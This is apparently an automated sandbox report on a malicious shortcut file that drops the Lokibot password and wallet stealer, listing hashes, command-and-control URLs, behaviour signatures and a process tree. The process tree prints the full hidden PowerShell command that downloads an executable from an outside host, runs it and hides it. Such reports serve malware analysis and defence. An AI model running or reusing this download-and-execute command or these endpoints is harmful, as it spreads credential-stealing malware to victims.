Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-10-2024 09:05

General

  • Target

    Transfer.lnk

  • Size

    2KB

  • MD5

    c8edaea371bafcc48c2d663b9caaec7d

  • SHA1

    24598ebb4c2ee5f30aabd0719b3ff2adf9dd05a7

  • SHA256

    ba9712d97e677ca016e642177631b631273d74ce9ae7e99178fc222bb647bc34

  • SHA512

    f4359b45d94ae95faf77544c706696ef5d2f2913bed31ed51719492967bf5e993bff20baa1a00375ab2ef099d912da5b9da62a31479a37807dc5e03412637777

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe

Extracted

Family

lokibot

C2

http://freighteightonecam.sytes.net/ndifygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Transfer.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/jlow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.exe','Ojtjewi.exe');./'Ojtjewi.exe';(get-item 'Ojtjewi.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
        "C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:244
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 244 -s 80
            5⤵
            • Program crash
            PID:2944
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          PID:4908
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 80
            5⤵
            • Program crash
            PID:2208
        • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:4720
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 244 -ip 244
    1⤵
      PID:1416
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4908 -ip 4908
      1⤵
        PID:3136

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Ojtjewi.exe

        Filesize

        377KB

        MD5

        6746fbb343ddec70416177f77ef83c2a

        SHA1

        13a2698094e6513427c06721df1cc5de2132d5f4

        SHA256

        5b82fc5190c0d6644a7eabdf20be1dfdd96d7d8a46d3c329ba2a48b96f7e26e6

        SHA512

        4106edbf6a07e209045bdce8286f9cb5c9983afb21551419c32228a4eb1e87c57c88cb7615c67a263d036a892edab1cc6d4f46e33116f65c4405955a7e8cc3a4

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftcn3dtc.ews.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2629364133-3182087385-364449604-1000\0f5007522459c86e95ffcc62f32308f1_83e33dcf-e635-4313-9cdc-036589dffc77

        Filesize

        46B

        MD5

        d898504a722bff1524134c6ab6a5eaa5

        SHA1

        e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

        SHA256

        878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

        SHA512

        26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2629364133-3182087385-364449604-1000\0f5007522459c86e95ffcc62f32308f1_83e33dcf-e635-4313-9cdc-036589dffc77

        Filesize

        46B

        MD5

        c07225d4e7d01d31042965f048728a0a

        SHA1

        69d70b340fd9f44c89adb9a2278df84faa9906b7

        SHA256

        8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

        SHA512

        23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

      • memory/1164-32-0x0000000005090000-0x0000000005096000-memory.dmp

        Filesize

        24KB

      • memory/1164-30-0x000000000E820000-0x000000000EDC4000-memory.dmp

        Filesize

        5.6MB

      • memory/1164-31-0x000000000E310000-0x000000000E3A2000-memory.dmp

        Filesize

        584KB

      • memory/1164-29-0x000000000E1D0000-0x000000000E26C000-memory.dmp

        Filesize

        624KB

      • memory/1164-28-0x000000000E0D0000-0x000000000E138000-memory.dmp

        Filesize

        416KB

      • memory/1164-26-0x0000000000B60000-0x0000000000BC6000-memory.dmp

        Filesize

        408KB

      • memory/1164-27-0x0000000002FD0000-0x0000000002FD6000-memory.dmp

        Filesize

        24KB

      • memory/2832-25-0x00007FFB4E850000-0x00007FFB4F311000-memory.dmp

        Filesize

        10.8MB

      • memory/2832-14-0x00007FFB4E850000-0x00007FFB4F311000-memory.dmp

        Filesize

        10.8MB

      • memory/2832-15-0x00007FFB4E853000-0x00007FFB4E855000-memory.dmp

        Filesize

        8KB

      • memory/2832-16-0x00007FFB4E850000-0x00007FFB4F311000-memory.dmp

        Filesize

        10.8MB

      • memory/2832-2-0x00007FFB4E853000-0x00007FFB4E855000-memory.dmp

        Filesize

        8KB

      • memory/2832-13-0x00007FFB4E850000-0x00007FFB4F311000-memory.dmp

        Filesize

        10.8MB

      • memory/2832-3-0x0000021E6E060000-0x0000021E6E082000-memory.dmp

        Filesize

        136KB

      • memory/4720-38-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/4720-36-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/4720-58-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/4720-66-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB